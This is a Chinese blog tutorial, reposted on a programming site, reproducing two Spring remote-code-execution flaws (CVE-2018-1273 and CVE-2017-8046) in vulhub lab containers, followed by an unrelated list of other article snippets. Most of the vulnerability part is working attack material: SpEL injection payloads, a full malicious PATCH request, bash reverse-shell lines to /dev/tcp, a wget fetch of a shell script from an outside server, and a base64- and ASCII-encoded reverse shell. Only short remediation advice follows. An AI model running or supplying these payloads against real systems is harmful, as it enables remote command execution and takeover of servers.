Spring框架漏洞(附修复方法)

news2024/9/24 11:29:09

      Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
       2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(SpringExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

      因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。

1.1 Spring Data Commons 远程命令执行命令(CVE-2018-1273)

      Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令

漏洞复现

搭建环境命令如下

cd vulhub/spring/CVE-2018-1273
docker-compose up -d                                                                                                                          

搭建好环境后,我们对其进行访问,在如下页面中,访问目标的/users目录

在users中,我们看到了一个注册页面,随便输入注册信息后,开启抓包然后点击注册

在我们获取到数据包后,先右键将其发送到重放器,然后替换poc如下,这个poc的内容是在tmp目录下写入一个zcc的文件,点击发送

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

点击发送后显示了500,这是成功了,我们在靶机中利用如下命令进入靶机的bashshell,并查看tmp中是否有zcc文件

docker ps
//查看当前靶机环境id

docker exec -it id bin/bash
//进入

ls /tmp
//查看tmp目录

这里发现成功生成

反弹shell

我们在一个靶机可以远程连接到的服务器上创建一个名为shell.sh的文件,内容为反弹shell的语句如下,然后在该服务器上开启端口监听

bash -i >& /dev/tcp/IP/port 0>&1

在靶机中再次抓包,用下面语句替换exec中的内容后发送,这是为了让靶机可以下载到服务器中的shell.sh文件

/usr/bin/wget -q0 /tmp/shell.sh http://IP:port/shell.sh

发送后到靶机中查看,发现成功下载

然后用命令/bin/bash /tmp/shell.sh执行这个脚本文件,成功反弹shell

漏洞修复

禁止网站访问到外界连接

1.2 spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)

      Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

漏洞复现

搭建环境命令如下

cd vulhub/spring/CVE-2017-8046/
docker-compose up -d

搭建好环境后我们访问环境的/customers/1目录,进入如下页面

然后开启抓包后再次访问,将抓到的请求包发送到重放器后,替换为如下包,其中的其中的

new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}

是经过ascii编码的touch /tmp/success(在tmp目录下生成一个success文件),

PATCH /customers/1 HTTP/1.1
Host: 192.168.156.129:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

替换后点击发送,然后回到靶机中查看tmp目录下的文件,利用命令如下,这里命令成功执行

docker ps
//查看当前靶机环境id

docker exec -it id bin/bash
//进入

ls /tmp
//查看tmp目录

反弹shell

     我们先构造一个反弹shell的语句,将其base64编码后再ascii编码

bash -i >& /dev/tcp/监听服务器ip/监听端口 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMzLzQ0NTUgMD4mMQ==
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMzLzQ0NTUgMD4mMQ==}|{base64,-d}|{bash,-i}


98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,117,77,84,77,122,76,122,81,48,78,84,85,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

然后用二次编码后的数字替换掉原本添加的pyload中的数字后点击发送

成功反弹到shell

漏洞修复

1.将 Spring Data REST 更新到最新的稳定版本

2.禁用 JSON Patch 支持

3.在 Spring Data REST 中禁用 SpEL 表达式的使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1989536.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《UniverSeg: Universal Medical Image Segmentation》ICCV2023

摘要 这篇论文提出了一种名为 UniverSeg 的方法,它能够解决未见过的医学图像分割任务,而无需额外的训练。现有的深度学习模型通常无法泛化到新的解剖结构、图像模式或标签上。UniverSeg 利用一种新的 CrossBlock 机制,通过查询图像和定义新分…

利用tkinter制作简易计算器,页面美观,计算保留4位小数

import tkinter as tk import time window tk.Tk() window.title("简易计算器") window.geometry(300x400) content def btn_onclick(data):global contentif data"AC" or data "MC":expression.set()result.set()content elif data :result…

无人机长生不老秘籍

机身保养 外观检查 1.检查机器表面整洁无划痕无针孔凹陷擦伤、畸变等损坏情况 2.晃动机身,仔细听机身内部有无松动零件或者螺丝在机身内部 桨叶检查 1.有无裂痕、磨损、变形等缺陷,如有明显缺陷建议更换 2.卡扣、紧固件有无松脱或失效,…

嵌入式学习之路 14(C语言基础学习——指针操作一维整型数组)

一、指针基础 指针的概念 地址表示内存单元的编号,也被称为指针。指针既是地址,也是一种专门用于处理地址数据的数据类型。 例如,变量a的地址或者十六进制表示的0x1000都可以视作指针。 指针变量的定义 语法:基类型 * 指针变…

探索灵办AI:智能办公的好帮手

引言 随着AI工具的增多,选择合适的AI助手变得尤为重要。ChatGPT的订阅费用高且功能单一,很多小伙伴开始寻找更具性价比和多功能的替代品。灵办AI以其便捷、高效、多功能的特点,成为许多朋友的新宠。 灵办AI助手是一款多功能的全能AI助手&am…

智能名片信息交流系统应用场景解决方案

智能名片作为传统名片在数字化时代的进化产物,集成了移动互联网、大数据和人工智能等先进技术,为商务交流和客户关系管理带来了全新的体验。 系统主要功能 01内容聚合与展示 企业信息展示:智能名片不仅包含个人基本信息,还能展示…

MDIO C22协议访问MMD寄存器

以太网PHY芯片中SMI(Serial Management Interface)串行管理接口,也称MDIO(Management Data Input/Output),通常作为MII管理接口(MII Management Interface)。有两根线,分别为双向的MDIO和单向的MDC,用于以太网设备中上层对物理层(PHY)的管理。 MDIO接口有两种协议…

LVX+keepalived群集

Keepalived 双 机 热 备 基 础 知 识 Keepalived 起初是专门针对LVS 设计的一款强大的辅助工具,主要用来提供故障切换(Failover) 和健康检查(Health Checking) 功能——判断 LVS负载调度器、节点服务器的可用性,当master 主机出现故障及时切换到b…

MacOS Anaconda 安装教程及虚拟环境创建

一、下载 Anaconda 1、Anaconda 官网 2、清华大学开源软件镜像站 点 Date 按时间排序,根据自己 Mac 芯片类型下载对应最新版本的。 Intel 芯片的下载 x86_64 版本的Apple m1 芯片的下载 arm64 版本的 二、安装 Anaconda 将安装包下载到本地后,双击安…

人工智能|人工智能教育的发展现状及趋势

智能的热潮正席卷全球。国家在人工智能领域展开战略布局,人工智能人才成为国家急需的高层次技术人才。据领英发布的《全球 Al 领域人才报告》显示,国内人工智能人才缺口达到 500 多万。 毫无疑问,人工智能将不可阻挡地影响所有产业。给自己一…

随手记1.0

easyexcel多级表头导出各级设置样式(继承HorizontalCellStyleStrategy实现) package com.example.wxmessage.entity;import com.alibaba.excel.metadata.data.WriteCellData; import com.alibaba.excel.write.handler.context.CellWriteHandlerContext;…

探索 Amazon Q Developer 那些有趣的功能

我在 McKinsey 2024 年 5 月 30 日提供的一项名为“The state of AI in early 2024-Gen AI adoption spikes and starts to generate value”的调研中读到这么一句话:人工智能在组织中最常见的两个使用职能是:“市场营销和销售”以及“产品和服务开发”&…

vue3-ts:husky + prettier / 代码格式化工具

一、Prettier简介 Prettier是一个流行的代码格式化工具,它的主要作用是帮助开发者自动规范化代码的格式,提高代码的可读性和一致性。Prettier通过解析代码并使用自己的规则重新打印它,以确保代码风格的一致性和符合预设的格式化标准。 二、…

计网学习(四)——网络层

一、网际协议IP 互联网采用的设计思路:网络层向上只提供简单灵活的、无连接的、尽最大努力交付的数据报服务”,即IP数据报在网络中传输时是不可靠的服务,可能会出现数据丢失等情况TCP/IP体系中网络层常常被称为网际层或IP层与IP协议一起使用…

35分钟教你从0到1,水出SCI(精品),学术裁缝必修课_来自B站水论文的程序猿

系列文章目录 文章目录 系列文章目录一、抽象理解二、具体做法1、什么是Baseline(基础实验)2、怎么和导师说3、怎么做压低baseline 4、怎么写 一、抽象理解 一篇论文A:西红柿炒鸡蛋 一篇论文B:芹菜炒肉 你就可以:西红柿炒肉 二、具体做法 1、什么是Baseline(基础…

视频压缩文件太大了怎么缩小?6个视频压缩技巧,速度收藏起来!

高清视频文件,尤其是那些以 1080p 和 720p 清晰度为特征的视频,通常都拥有相当大的体积,会占据大量计算机存储空间。因此,为了更好地将它们进行分享和存储,您可能需要对它们进行压缩,以减小它们的尺寸。然而…

【秋招笔试】2024-08-07-YT游戏(研发岗)-三语言题解(CPP/Python/Java)

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 本次的题目比较典,…

资料分析6-其他类

一、拉动增长、增量贡献率和容斥问题 1. 拉动增长 拉动增长部分增量/整体前期,即x/A 例题1(2018 年陕西):2017 年,我国电信业务收入12620 亿元,比上年增长6.4%,增速同比提高1 个百分点。……2…

递归:计算思维的核心

引言 人类对这个世界的认识是从特例到普遍,从具体到抽象,从简单到复杂的,是一个递推(Iterative)的过程。这种人类固有的认知与思维方式令我们可以轻易的理解具体的事物,但同时却限制了我们的抽象能力和大局…

【电控笔记z6】无感文献综述

高频注入 afabeta注入 lq/ld越大统好 凸极性大反电动势ZVCD pwm电压向量为主 增加动态特性 设计隆博戈估测器 高频注入: lq/ld比较大 运用在低转速 到高速的时候 , 切换到model_base的方法进行反电动势侦测 smo :速度无法很低 有个极限 受杂讯影响大 高速时候用 总结 用spm …